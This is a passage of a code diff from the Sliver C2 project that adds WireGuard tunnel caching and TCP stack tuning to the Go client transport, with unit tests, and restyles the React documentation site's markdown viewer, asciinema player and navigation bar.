options = append(options, grpc.WithContextDialer(func(ctx context.Context, addr string) (net.Conn, error) {
return tunnel.DialContext(ctx, addr)
}))
wireGuardTunnelCacheMu.Lock()
previous := wireGuardTunnelCache[key]
cached := &cachedWireGuardTunnel{
tunnel: tunnel,
target: target,
}
wireGuardTunnelCache[key] = cached
if previous != nil && previous.timer != nil {
previous.timer.Stop()
}
cached.timer = time.AfterFunc(multiplayerWireGuardIdleTimeout, func() {
wireGuardTunnelCacheMu.Lock()
current := wireGuardTunnelCache[key]
if current != cached || current == nil {
wireGuardTunnelCacheMu.Unlock()
return
}
delete(wireGuardTunnelCache, key)
current.timer = nil
tunnel := current.tunnel
wireGuardTunnelCacheMu.Unlock()
if tunnel != nil {
_ = tunnel.Close()
}
})
wireGuardTunnelCacheMu.Unlock()
if previous != nil && previous.tunnel != nil {
_ = previous.tunnel.Close()
}
}
return dialRPCClient(target, options, tunnel)
func wireGuardTunnelCacheKey(config *assets.ClientConfig) (string, error) {
if err := validateWireGuardConfig(config); err != nil {
return "", err
}
return strings.Join([]string{
strings.TrimSpace(config.LHost),
strconv.Itoa(config.LPort),
strings.TrimSpace(config.WG.ServerPubKey),
strings.TrimSpace(config.WG.ClientPrivateKey),
strings.TrimSpace(config.WG.ClientIP),
strings.TrimSpace(config.WG.ServerIP),
}, "\x00"), nil
}
func newWireGuardTunnel(config *assets.ClientConfig) (*wireGuardTunnel, string, error) {
+44 -3
View File
@@ -38,6 +38,11 @@ type transportTun struct {
type transportNet transportTun
const (
transportTCPReceiveBufferMax = 8 << 20
transportTCPSendBufferMax = 6 << 20
)
func createTransportNetTUN(localAddresses []netip.Addr, mtu int) (tun.Device, *transportNet, error) {
n, err := rand.Int(rand.Reader, big.NewInt(0xFFFFFFFF))
if err != nil {
@@ -60,9 +65,8 @@ func createTransportNetTUN(localAddresses []netip.Addr, mtu int) (tun.Device, *t
mtu: mtu,
}
sackEnabledOpt := tcpip.TCPSACKEnabled(true)
if tcpipErr := dev.stack.SetTransportProtocolOption(tcp.ProtocolNumber, &sackEnabledOpt); tcpipErr != nil {
return nil, nil, fmt.Errorf("could not enable TCP SACK: %v", tcpipErr)
if err := configureTransportTCPStack(dev.stack); err != nil {
return nil, nil, err
}
dev.notifyHandle = dev.ep.AddNotify(dev)
@@ -102,6 +106,43 @@ func createTransportNetTUN(localAddresses []netip.Addr, mtu int) (tun.Device, *t
return dev, (*transportNet)(dev), nil
}
func configureTransportTCPStack(ipstack *stack.Stack) error {
sackEnabledOpt := tcpip.TCPSACKEnabled(true)
if tcpipErr := ipstack.SetTransportProtocolOption(tcp.ProtocolNumber, &sackEnabledOpt); tcpipErr != nil {
return fmt.Errorf("could not enable TCP SACK: %v", tcpipErr)
}
tcpRecoveryOpt := tcpip.TCPRecovery(0)
if tcpipErr := ipstack.SetTransportProtocolOption(tcp.ProtocolNumber, &tcpRecoveryOpt); tcpipErr != nil {
return fmt.Errorf("could not disable TCP RACK: %v", tcpipErr)
}
renoOpt := tcpip.CongestionControlOption("reno")
if tcpipErr := ipstack.SetTransportProtocolOption(tcp.ProtocolNumber, &renoOpt); tcpipErr != nil {
return fmt.Errorf("could not set TCP congestion control to reno: %v", tcpipErr)
}
tcpRXBufOpt := tcpip.TCPReceiveBufferSizeRangeOption{
Min: tcp.MinBufferSize,
Default: tcp.DefaultSendBufferSize,
Max: transportTCPReceiveBufferMax,
}
if tcpipErr := ipstack.SetTransportProtocolOption(tcp.ProtocolNumber, &tcpRXBufOpt); tcpipErr != nil {
return fmt.Errorf("could not set TCP RX buffer size: %v", tcpipErr)
}
tcpTXBufOpt := tcpip.TCPSendBufferSizeRangeOption{
Min: tcp.MinBufferSize,
Default: tcp.DefaultReceiveBufferSize,
Max: transportTCPSendBufferMax,
}
if tcpipErr := ipstack.SetTransportProtocolOption(tcp.ProtocolNumber, &tcpTXBufOpt); tcpipErr != nil {
return fmt.Errorf("could not set TCP TX buffer size: %v", tcpipErr)
}
return nil
}
func (tun *transportTun) Name() (string, error) {
return "go", nil
}
+86
View File
@@ -0,0 +1,86 @@
package transport
import (
"testing"
"time"
"github.com/bishopfox/sliver/client/assets"
)
func TestWireGuardTunnelCacheKeyIncludesConfigMaterial(t *testing.T) {
config := &assets.ClientConfig{
LHost: "127.0.0.1",
LPort: 31337,
WG: &assets.ClientWGConfig{
ServerPubKey: "server-pub",
ClientPrivateKey: "client-priv",
ClientIP: "100.65.0.2",
ServerIP: "100.65.0.1",
},
}
key1, err := wireGuardTunnelCacheKey(config)
if err != nil {
t.Fatalf("cache key: %v", err)
}
config.WG.ClientPrivateKey = "other-client-priv"
key2, err := wireGuardTunnelCacheKey(config)
if err != nil {
t.Fatalf("cache key after config change: %v", err)
}
if key1 == key2 {
t.Fatal("expected cache key to change when wireguard config changes")
}
}
func TestCacheIdleWireGuardTunnelRemovesIdleTunnel(t *testing.T) {
resetWireGuardTunnelCacheForTest(t)
previousIdleTimeout := multiplayerWireGuardIdleTimeout
multiplayerWireGuardIdleTimeout = 10 * time.Millisecond
t.Cleanup(func() {
multiplayerWireGuardIdleTimeout = previousIdleTimeout
})
const cacheKey = "test-cache-key"
cacheIdleWireGuardTunnel(cacheKey, &wireGuardTunnel{}, "100.65.0.1:31337")
deadline := time.Now().Add(250 * time.Millisecond)
for time.Now().Before(deadline) {
wireGuardTunnelCacheMu.Lock()
_, exists := wireGuardTunnelCache[cacheKey]
wireGuardTunnelCacheMu.Unlock()
if !exists {
return
}
time.Sleep(5 * time.Millisecond)
}
t.Fatal("expected idle tunnel cache entry to be removed")
}
func resetWireGuardTunnelCacheForTest(t *testing.T) {
t.Helper()
wireGuardTunnelCacheMu.Lock()
for key, shared := range wireGuardTunnelCache {
if shared != nil && shared.timer != nil {
shared.timer.Stop()
}
delete(wireGuardTunnelCache, key)
}
wireGuardTunnelCacheMu.Unlock()
t.Cleanup(func() {
wireGuardTunnelCacheMu.Lock()
for key, shared := range wireGuardTunnelCache {
if shared != nil && shared.timer != nil {
shared.timer.Stop()
}
delete(wireGuardTunnelCache, key)
}
wireGuardTunnelCacheMu.Unlock()
})
}
+71 -2
View File
@@ -3,6 +3,8 @@ import React from "react";
type AsciinemaPlayerProps = {
src: string;
className?: string;
hideControls?: boolean;
cols?: string;
rows?: string;
@@ -18,10 +20,67 @@ type AsciinemaPlayerProps = {
fontSize?: string;
};
function AsciinemaPlayer({ src, ...asciinemaOptions }: AsciinemaPlayerProps) {
function AsciinemaPlayer({
src,
className,
hideControls,
cols,
rows,
autoPlay,
preload,
loop,
startAt,
speed,
idleTimeLimit,
theme,
poster,
fit,
fontSize,
}: AsciinemaPlayerProps) {
const ref = React.useRef<HTMLDivElement>(null);
const [prefersReducedMotion, setPrefersReducedMotion] = React.useState(false);
const [player, setPlayer] =
React.useState<typeof import("asciinema-player")>();
const asciinemaOptions = React.useMemo(
() => ({
autoPlay: prefersReducedMotion ? false : autoPlay,
cols,
controls: hideControls ? false : undefined,
fit,
fontSize,
idleTimeLimit,
loop: prefersReducedMotion ? false : loop,
poster,
preload,
rows,
speed,
startAt,
theme,
}),
[
autoPlay,
cols,
fit,
fontSize,
hideControls,
idleTimeLimit,
loop,
poster,
preload,
prefersReducedMotion,
rows,
speed,
startAt,
theme,
],
);
React.useEffect(() => {
const mediaQuery = window.matchMedia("(prefers-reduced-motion: reduce)");
const syncPreference = () => setPrefersReducedMotion(mediaQuery.matches);
syncPreference();
mediaQuery.addEventListener("change", syncPreference);
return () => mediaQuery.removeEventListener("change", syncPreference);
}, []);
React.useEffect(() => {
import("asciinema-player").then((p) => {
setPlayer(p);
@@ -35,7 +94,17 @@ function AsciinemaPlayer({ src, ...asciinemaOptions }: AsciinemaPlayerProps) {
};
}, [src, player, asciinemaOptions]);
return <div ref={ref} />;
return (
<div
ref={ref}
className={[
className,
hideControls ? "sliver-asciinema-controls-hidden" : undefined,
]
.filter(Boolean)
.join(" ")}
/>
);
}
export default AsciinemaPlayer;
+2 -5
View File
@@ -60,11 +60,8 @@ const CodeViewer = (props: CodeViewerProps) => {
props.script.source_code
);
const [fontSize, setFontSize] = React.useState(props.fontSize || 13);
const editorContainerClassName = React.useMemo(() => {
return theme === Themes.DARK
? "col-span-12 mt-4 rounded-2xl overflow-hidden"
: "col-span-12 mt-4 rounded-2xl overflow-hidden border border-gray-300";
}, [theme]);
const editorContainerClassName =
"col-span-12 mt-4 overflow-hidden rounded-2xl border border-separator bg-surface-secondary";
return (
<div className={editorContainerClassName}>
@@ -3,8 +3,9 @@ import React from "react";
const LoadingState: React.FC = () => {
return (
<div className="flex min-h-screen w-full items-center justify-center">
<Spinner label="Loading ..." labelColor="foreground" />
<div className="flex min-h-[55vh] w-full items-center justify-center gap-3 text-muted">
<Spinner aria-label="Loading" />
<span className="text-sm">Loading documentation…</span>
</div>
);
};
+53 -43
View File
@@ -27,6 +27,7 @@ import Youtube from "./youtube";
export type MarkdownProps = {
markdown: string;
demoteTopLevelHeading?: boolean;
};
type MarkdownAsciiCast = {
@@ -121,12 +122,12 @@ const slugify = (value: string) => {
};
const headingClassNames: Record<HeadingLevel, string> = {
1: "mt-12 text-3xl font-semibold tracking-tight text-slate-900 first:mt-0 dark:text-slate-100",
2: "mt-10 text-2xl font-semibold tracking-tight text-slate-900 dark:text-slate-100",
3: "mt-8 text-xl font-semibold tracking-tight text-slate-900 dark:text-slate-100",
4: "mt-6 text-lg font-semibold tracking-tight text-slate-900 dark:text-slate-100",
5: "mt-6 text-base font-semibold tracking-tight text-slate-900 dark:text-slate-100",
6: "mt-6 text-base font-semibold uppercase tracking-wide text-slate-700 dark:text-slate-300",
1: "mt-12 text-3xl font-semibold tracking-tight text-foreground first:mt-0",
2: "mt-12 text-2xl font-semibold tracking-tight text-foreground",
3: "mt-9 text-xl font-semibold tracking-tight text-foreground",
4: "mt-8 text-lg font-semibold tracking-tight text-foreground",
5: "mt-7 text-base font-semibold tracking-tight text-foreground",
6: "mt-7 text-base font-semibold tracking-tight text-foreground",
};
const MarkdownViewer = (props: MarkdownProps) => {
@@ -218,7 +219,9 @@ const MarkdownViewer = (props: MarkdownProps) => {
}
const anchor = anchorRef.current;
const HeadingTag = `h${level}`;
const renderedLevel =
level === 1 && props.demoteTopLevelHeading ? 2 : level;
const HeadingTag = `h${renderedLevel}`;
return createElement(
HeadingTag,
@@ -226,7 +229,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
...rest,
id: anchor || undefined,
className: mergeClassNames(
headingClassNames[level],
headingClassNames[renderedLevel],
"scroll-mt-[70px]",
className
),
@@ -236,8 +239,8 @@ const MarkdownViewer = (props: MarkdownProps) => {
{anchor && (
<a
href={`#${anchor}`}
aria-label="Copy link to section"
className="inline-flex h-6 w-6 items-center justify-center rounded-md text-slate-400 transition focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-primary/40 focus-visible:ring-offset-2 hover:text-primary dark:text-slate-500"
aria-label={`Link to ${textContent}`}
className="-my-2 inline-flex size-10 items-center justify-center rounded-xl text-muted focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-accent/40 hover:bg-surface-secondary hover:text-accent"
>
<svg
aria-hidden="true"
@@ -283,12 +286,12 @@ const MarkdownViewer = (props: MarkdownProps) => {
h5: createHeadingComponent(5),
h6: createHeadingComponent(6),
};
}, [getAnchor]);
}, [getAnchor, props.demoteTopLevelHeading]);
const proseClassName = mergeClassNames(
"markdown-body prose max-w-none leading-7",
theme === Themes.DARK ? "dark:prose-invert prose-slate" : "prose-slate",
"prose-pre:bg-slate-950/90 prose-pre:text-slate-100 prose-code:font-mono prose-img:rounded-xl"
"prose-code:font-mono prose-img:rounded-2xl"
);
return (
@@ -307,7 +310,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
{...rest}
href={href}
className={mergeClassNames(
"font-medium text-primary transition-colors duration-150 hover:text-primary-dark",
"font-medium text-accent underline-offset-4 hover:underline",
className
)}
onClick={(e) => {
@@ -342,7 +345,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
}
const anchorClassName = mergeClassNames(
"font-medium text-primary transition-colors duration-150 underline-offset-4 hover:text-primary-dark",
"font-medium text-accent underline-offset-4 hover:underline",
className
);
@@ -376,7 +379,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
<p
{...rest}
className={mergeClassNames(
"my-6 text-base leading-7 text-slate-700 dark:text-slate-300",
"my-6 text-base leading-7 text-foreground/80",
className
)}
>
@@ -391,7 +394,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
<ul
{...rest}
className={mergeClassNames(
"my-6 list-disc space-y-2 pl-6 text-slate-700 marker:text-primary dark:text-slate-300",
"my-6 list-disc space-y-2 pl-6 text-foreground/80 marker:text-accent",
className
)}
>
@@ -406,7 +409,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
<ol
{...rest}
className={mergeClassNames(
"my-6 list-decimal space-y-2 pl-6 text-slate-700 marker:text-primary dark:text-slate-300",
"my-6 list-decimal space-y-2 pl-6 text-foreground/80 marker:text-accent",
className
)}
>
@@ -421,7 +424,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
<li
{...rest}
className={mergeClassNames(
"leading-6 text-slate-700 dark:text-slate-300",
"leading-6 text-foreground/80",
className
)}
>
@@ -436,7 +439,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
<blockquote
{...rest}
className={mergeClassNames(
"my-8 border-l-4 border-slate-200 bg-slate-50 px-6 py-4 text-base italic text-slate-700 shadow-sm dark:border-slate-700 dark:bg-slate-900/50 dark:text-slate-300",
"my-8 rounded-r-2xl border-l-4 border-accent/40 bg-surface-secondary px-6 py-4 text-base italic text-foreground/80",
className
)}
>
@@ -451,7 +454,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
<hr
{...rest}
className={mergeClassNames(
"my-12 border-t border-slate-200 dark:border-slate-800",
"my-12 border-t border-separator",
className
)}
/>
@@ -461,11 +464,11 @@ const MarkdownViewer = (props: MarkdownProps) => {
table(tableProps) {
const { className, children, ...rest } = tableProps;
return (
<div className="my-8 overflow-hidden rounded-xl border border-slate-200 bg-white shadow-sm dark:border-slate-800 dark:bg-slate-950/40">
<div className="sliver-scrollbar my-8 overflow-x-auto rounded-2xl border border-separator bg-surface">
<table
{...rest}
className={mergeClassNames(
"w-full min-w-max divide-y divide-slate-200 text-left text-sm dark:divide-slate-800",
"w-full min-w-max divide-y divide-separator text-left text-sm",
className
)}
>
@@ -481,7 +484,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
<thead
{...rest}
className={mergeClassNames(
"bg-slate-50 text-sm font-semibold uppercase tracking-wide text-slate-600 dark:bg-slate-900/60 dark:text-slate-300",
"bg-surface-secondary text-sm font-semibold text-muted",
className
)}
>
@@ -496,7 +499,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
<tbody
{...rest}
className={mergeClassNames(
"divide-y divide-slate-200 dark:divide-slate-800",
"divide-y divide-separator",
className
)}
>
@@ -511,7 +514,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
<tr
{...rest}
className={mergeClassNames(
"transition-colors hover:bg-slate-50 dark:hover:bg-slate-900/60",
"bg-transparent",
className
)}
>
@@ -526,7 +529,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
<th
{...rest}
className={mergeClassNames(
"px-4 py-3 text-left text-sm font-semibold text-slate-600 dark:text-slate-200",
"px-4 py-3 text-left text-sm font-semibold text-foreground",
className
)}
>
@@ -541,7 +544,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
<td
{...rest}
className={mergeClassNames(
"px-4 py-3 align-top text-sm text-slate-700 dark:text-slate-300",
"px-4 py-3 align-top text-sm text-foreground/80",
className
)}
>
@@ -556,7 +559,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
<strong
{...rest}
className={mergeClassNames(
"font-semibold text-slate-900 dark:text-slate-100",
"font-semibold text-foreground",
className
)}
>
@@ -571,7 +574,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
<em
{...rest}
className={mergeClassNames(
"text-slate-700 dark:text-slate-300",
"text-foreground/80",
className
)}
>
@@ -605,7 +608,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
<pre
{...rest}
className={mergeClassNames(
"my-6 overflow-x-auto rounded-xl border border-slate-200 bg-slate-50 p-4 text-[13px] leading-6 text-slate-900 shadow-inner dark:border-slate-800 dark:bg-slate-950/90 dark:text-slate-100",
"sliver-scrollbar my-6 overflow-x-auto rounded-2xl border border-separator bg-surface-secondary p-4 text-[13px] leading-6 text-foreground",
className
)}
>
@@ -625,7 +628,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
width={1200}
height={720}
className={mergeClassNames(
"my-8 w-full rounded-xl border border-slate-200 object-contain shadow-sm dark:border-slate-800",
"my-8 w-full rounded-2xl border border-separator/70 object-contain",
className
)}
/>
@@ -655,7 +658,11 @@ const MarkdownViewer = (props: MarkdownProps) => {
if (normalizedLang === "youtube") {
const embedId = sourceCode || "";
return <Youtube embedId={embedId.trim()} />;
return (
<div className="not-prose my-8 overflow-hidden rounded-2xl">
<Youtube embedId={embedId.trim()} />
</div>
);
}
if (normalizedLang === "asciinema") {
@@ -668,15 +675,18 @@ const MarkdownViewer = (props: MarkdownProps) => {
return <></>;
}
return (
<AsciinemaPlayer
src={srcUrl.toString()}
rows={asciiCast.rows || "18"}
cols={asciiCast.cols || "75"}
idleTimeLimit={asciiCast.idleTimeLimit || 2}
preload={true}
autoPlay={true}
loop={true}
/>
<div className="sliver-terminal-frame not-prose my-8 w-full max-w-full overflow-x-auto rounded-2xl bg-[#111315]">
<AsciinemaPlayer
className="min-w-[42rem]"
src={srcUrl.toString()}
rows={asciiCast.rows || "18"}
cols={asciiCast.cols || "75"}
idleTimeLimit={asciiCast.idleTimeLimit || 2}
preload={true}
autoPlay={true}
loop={true}
/>
</div>
);
}
@@ -694,7 +704,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
<code
{...rest}
className={mergeClassNames(
"rounded-md bg-slate-100 px-1.5 py-0.5 font-mono text-[13px] text-slate-700 dark:bg-slate-800/80 dark:text-slate-200",
"rounded-md bg-surface-secondary px-1.5 py-0.5 font-mono text-[13px] text-foreground",
className
)}
>
@@ -752,7 +762,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
const formattedSourceCode = sourceCode.replace(/\n$/, "");
const preWrapperClassName = mergeClassNames(
"not-prose mt-4 overflow-x-auto rounded-2xl border border-slate-200 bg-slate-50 px-4 py-4 text-[13px] leading-6 text-slate-900 shadow-sm dark:border-slate-800 dark:bg-slate-950/90 dark:text-slate-100",
"sliver-scrollbar not-prose mt-4 overflow-x-auto rounded-2xl border border-separator bg-surface-secondary px-4 py-4 text-[13px] leading-6 text-foreground",
className
);
+1 -1
View File
@@ -115,7 +115,7 @@ const Mermaid = ({ diagram, minHeight }: MermaidProps) => {
if (error) {
return (
<div className="not-prose my-6 text-sm text-rose-700 dark:text-rose-300">
<div className="not-prose my-6 rounded-2xl bg-danger-soft p-4 text-sm text-danger-soft-foreground">
Failed to render Mermaid diagram: {error}
</div>
);
+262 -255
View File
@@ -1,298 +1,305 @@
"use client";
import { SliversIcon } from "@/components/icons/slivers";
import { useSearchContext } from "@/util/search-context";
import { Themes } from "@/util/themes";
import { faDiscord, faGithub } from "@fortawesome/free-brands-svg-icons";
import {
faBars,
faHome,
faMoon,
faSearch,
faSun,
faXmark,
} from "@fortawesome/free-solid-svg-icons";
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
import {
Button,
Input,
Link,
Navbar,
NavbarBrand,
NavbarContent,
NavbarItem,
Tooltip,
} from "@heroui/react";
import { Button, Drawer, SearchField, Tooltip } from "@heroui/react";
import { useTheme } from "next-themes";
import NextLink from "next/link";
import { useRouter } from "next/router";
import React from "react";
export type TopNavbarProps = {};
const routes = [
{ href: "/docs", label: "Docs" },
{ href: "/tutorials", label: "Tutorials" },
{ href: "/talks", label: "Talks" },
];
export default function TopNavbar(props: TopNavbarProps) {
const discordUrl =
"https://discord.com/channels/791066041198968873/1339996286514106409";
const githubUrl = "https://github.com/BishopFox/sliver";
export default function TopNavbar() {
const router = useRouter();
const search = useSearchContext();
const { theme, setTheme } = useTheme();
const [mounted, setMounted] = React.useState(false);
React.useEffect(() => {
setMounted(true);
}, []);
const lightDarkModeIcon = React.useMemo(() => {
if (!mounted) {
return faMoon;
}
return theme === Themes.DARK ? faSun : faMoon;
}, [mounted, theme]);
const [query, setQuery] = React.useState("");
const [isMobileMenuOpen, setIsMobileMenuOpen] = React.useState(false);
const activeTheme = theme || Themes.DARK;
const isDarkTheme = activeTheme === Themes.DARK;
const lightDarkModeIcon = isDarkTheme ? faSun : faMoon;
const themeToggleLabel = isDarkTheme
? "Switch to light mode"
: "Switch to dark mode";
const toggleTheme = React.useCallback(() => {
setTheme(isDarkTheme ? Themes.LIGHT : Themes.DARK);
}, [isDarkTheme, setTheme]);
React.useEffect(() => {
setIsMobileMenuOpen(false);
}, [router.pathname]);
const desktopBreakpoint = window.matchMedia("(min-width: 768px)");
const closeMobileMenu = (event: MediaQueryListEvent) => {
if (event.matches) {
setIsMobileMenuOpen(false);
}
};
const handleSearchSubmit = React.useCallback(() => {
if (query.trim().length === 0) {
return;
}
router.push({ pathname: "/search/", query: { search: query } });
setQuery("");
}, [query, router]);
desktopBreakpoint.addEventListener("change", closeMobileMenu);
return () =>
desktopBreakpoint.removeEventListener("change", closeMobileMenu);
}, []);
const renderSearchInput = (wrapperClassName?: string) => (
<div className={wrapperClassName}>
<Tooltip content="Press enter to search" isOpen={query.length > 0}>
<Input
size="sm"
placeholder="Search..."
value={query}
onChange={(e) => setQuery(e.target.value)}
onClear={() => setQuery("")}
startContent={<FontAwesomeIcon icon={faSearch} />}
onKeyDown={(e) => {
if (e.key === "Enter") {
handleSearchSubmit();
}
}}
/>
</Tooltip>
</div>
const handleSearchSubmit = React.useCallback(
(value = query) => {
const searchQuery = value.trim();
if (searchQuery.length === 0) {
return;
}
void router.push({
pathname: "/search/",
query: { search: searchQuery },
});
setQuery("");
setIsMobileMenuOpen(false);
},
[query, router],
);
const renderTooltip = React.useCallback(
(content: string, children: React.ReactNode) => (
<Tooltip delay={0}>
{children}
<Tooltip.Content>{content}</Tooltip.Content>
</Tooltip>
),
[],
);
const renderSearchInput = (className?: string) => (
<SearchField
aria-label="Search documentation"
className={className}
fullWidth
value={query}
variant="secondary"
onChange={setQuery}
onSubmit={handleSearchSubmit}
>
<SearchField.Group>
<SearchField.SearchIcon>
<FontAwesomeIcon icon={faSearch} />
</SearchField.SearchIcon>
<SearchField.Input placeholder="Search documentation…" />
{query.length > 0 ? (
<SearchField.ClearButton aria-label="Clear search" />
) : null}
</SearchField.Group>
</SearchField>
);
const renderDesktopRoute = (href: string, label: string) => {
const isActive = router.pathname.startsWith(href);
return (
<li key={href}>
<NextLink
href={href}
aria-current={isActive ? "page" : undefined}
className={`inline-flex h-10 items-center justify-center rounded-xl px-4 text-sm font-medium no-underline outline-none focus-visible:ring-2 focus-visible:ring-accent/40 ${
isActive
? "bg-surface-secondary text-foreground shadow-surface"
: "text-muted hover:bg-surface-secondary hover:text-foreground"
}`}
>
{label}
</NextLink>
</li>
);
};
const renderMobileRoute = (href: string, label: string) => {
const isActive =
href === "/"
? router.pathname === "/"
: router.pathname.startsWith(href);
return (
<NextLink
key={href}
href={href}
aria-current={isActive ? "page" : undefined}
className={`inline-flex min-h-10 w-full items-center rounded-xl px-3 py-2 text-sm font-medium no-underline outline-none focus-visible:ring-2 focus-visible:ring-accent/40 ${
isActive
? "bg-surface-secondary text-foreground shadow-surface"
: "text-muted hover:bg-surface-secondary hover:text-foreground"
}`}
onClick={() => setIsMobileMenuOpen(false)}
>
{label}
</NextLink>
);
};
return (
<>
<Navbar
isBordered
maxWidth="full"
classNames={{
item: [
"flex",
"relative",
"h-full",
"items-center",
"data-[active=true]:after:content-['']",
"data-[active=true]:after:absolute",
"data-[active=true]:after:bottom-0",
"data-[active=true]:after:left-0",
"data-[active=true]:after:right-0",
"data-[active=true]:after:h-[2px]",
"data-[active=true]:after:rounded-[2px]",
"data-[active=true]:after:bg-primary",
],
}}
>
<NavbarBrand>
<SliversIcon />
<span className="hidden sm:block font-bold text-inherit">
&nbsp; Sliver C2
</span>
</NavbarBrand>
<NavbarContent className="hidden md:flex">
<NavbarItem isActive={router.pathname === "/"}>
<Button
variant="light"
color={router.pathname === "/" ? "primary" : "default"}
as={Link}
onPress={() => router.push("/")}
<nav
aria-label="Primary navigation"
className="sticky top-0 z-40 h-16 border-b border-separator bg-background/85 backdrop-blur-xl"
>
<div className="mx-auto flex h-16 w-full max-w-[1440px] items-center gap-3 px-4 sm:px-6 lg:px-8">
<NextLink
href="/"
aria-label="Sliver documentation home"
className="-ml-2 inline-flex h-10 shrink-0 items-center gap-2 rounded-xl px-2 text-sm font-semibold text-foreground no-underline outline-none hover:bg-surface-secondary focus-visible:ring-2 focus-visible:ring-accent/40"
>
<FontAwesomeIcon fixedWidth icon={faHome} />
</Button>
</NavbarItem>
<span className="flex size-8 items-center justify-center rounded-xl bg-accent text-accent-foreground">
<SliversIcon height={18} />
</span>
<span className="hidden items-baseline gap-1.5 sm:flex">
<span>Sliver C2</span>
</span>
</NextLink>
<NavbarItem isActive={router.pathname.startsWith("/tutorials")}>
<Button
variant="light"
color={router.pathname === "/tutorials" ? "primary" : "default"}
as={Link}
onPress={() => router.push("/tutorials")}
>
Tutorials
</Button>
</NavbarItem>
<ul className="hidden items-center gap-1 md:flex">
{routes.map((route) =>
renderDesktopRoute(route.href, route.label),
)}
</ul>
<NavbarItem isActive={router.pathname.startsWith("/talks")}>
<Button
variant="light"
color={router.pathname === "/talks" ? "primary" : "default"}
as={Link}
onPress={() => router.push("/talks")}
>
Talks
</Button>
</NavbarItem>
<div className="ml-auto hidden items-center gap-1 md:flex">
{renderSearchInput("mr-2 w-56 xl:w-72")}
<NavbarItem isActive={router.pathname.startsWith("/docs")}>
<Button
variant="light"
color={router.pathname === "/docs" ? "primary" : "default"}
as={Link}
onPress={() => router.push("/docs")}
>
Docs
</Button>
</NavbarItem>
</NavbarContent>
{renderTooltip(
themeToggleLabel,
<Button
isIconOnly
aria-label={themeToggleLabel}
variant="ghost"
onPress={toggleTheme}
>
<FontAwesomeIcon icon={lightDarkModeIcon} />
</Button>,
)}
<NavbarContent as="div" justify="end" className="hidden md:flex">
{renderSearchInput("w-64")}
<Tooltip
content={theme === Themes.DARK ? "Switch to light mode" : "Switch to dark mode"}
>
<Button
variant="ghost"
onPress={() => {
setTheme(theme === Themes.DARK ? Themes.LIGHT : Themes.DARK);
}}
isDisabled={!mounted}
>
<FontAwesomeIcon icon={lightDarkModeIcon} />
</Button>
</Tooltip>
{renderTooltip(
"Join Discord",
<a
href={discordUrl}
target="_blank"
rel="noreferrer"
aria-label="Join Discord"
className="inline-flex size-10 items-center justify-center rounded-xl text-muted no-underline outline-none hover:bg-surface-secondary hover:text-foreground focus-visible:ring-2 focus-visible:ring-accent/40"
>
<FontAwesomeIcon icon={faDiscord} />
</a>,
)}
<Tooltip content="Join Discord">
<Button
variant="ghost"
onPress={() => {
window.open(
"https://discord.com/channels/791066041198968873/1339996286514106409",
"_blank",
);
}}
>
<FontAwesomeIcon icon={faDiscord} />
</Button>
</Tooltip>
{renderTooltip(
"View on GitHub",
<a
href={githubUrl}
target="_blank"
rel="noreferrer"
aria-label="View on GitHub"
className="inline-flex size-10 items-center justify-center rounded-xl text-muted no-underline outline-none hover:bg-surface-secondary hover:text-foreground focus-visible:ring-2 focus-visible:ring-accent/40"
>
<FontAwesomeIcon icon={faGithub} />
</a>,
)}
</div>
<Tooltip content="View on GitHub">
<Button
variant="ghost"
onPress={() => {
window.open("https://github.com/BishopFox/sliver", "_blank");
}}
>
<FontAwesomeIcon icon={faGithub} />
</Button>
</Tooltip>
</NavbarContent>
<div className="ml-auto flex items-center gap-1 md:hidden">
{renderTooltip(
themeToggleLabel,
<Button
isIconOnly
aria-label={themeToggleLabel}
variant="ghost"
onPress={toggleTheme}
>
<FontAwesomeIcon icon={lightDarkModeIcon} />
</Button>,
)}
<div className="flex items-center gap-2 md:hidden">
<Tooltip
content={theme === Themes.DARK ? "Switch to light mode" : "Switch to dark mode"}
>
<Button
variant="ghost"
onPress={() => {
setTheme(theme === Themes.DARK ? Themes.LIGHT : Themes.DARK);
}}
isDisabled={!mounted}
>
<FontAwesomeIcon icon={lightDarkModeIcon} />
</Button>
</Tooltip>
<Tooltip content={isMobileMenuOpen ? "Close menu" : "Open menu"}>
<Button
variant="ghost"
aria-label={isMobileMenuOpen ? "Close menu" : "Open menu"}
onPress={() => setIsMobileMenuOpen((current) => !current)}
>
<FontAwesomeIcon icon={isMobileMenuOpen ? faXmark : faBars} />
</Button>
</Tooltip>
</div>
</Navbar>
{isMobileMenuOpen ? (
<div className="md:hidden border-b border-default-200 dark:border-default-100/40 bg-content1 px-4 pb-4 shadow-sm">
<div className="mt-3">{renderSearchInput("w-full")}</div>
<div className="mt-4 flex flex-col gap-2">
<Button
variant={router.pathname === "/" ? "solid" : "light"}
color={router.pathname === "/" ? "primary" : "default"}
onPress={() => {
router.push("/");
setIsMobileMenuOpen(false);
}}
startContent={<FontAwesomeIcon fixedWidth icon={faHome} />}
>
Home
</Button>
<Button
variant={router.pathname.startsWith("/tutorials") ? "solid" : "light"}
color={router.pathname.startsWith("/tutorials") ? "primary" : "default"}
onPress={() => {
router.push("/tutorials");
setIsMobileMenuOpen(false);
}}
>
Tutorials
</Button>
<Button
variant={router.pathname.startsWith("/talks") ? "solid" : "light"}
color={router.pathname.startsWith("/talks") ? "primary" : "default"}
onPress={() => {
router.push("/talks");
setIsMobileMenuOpen(false);
}}
>
Talks
</Button>
<Button
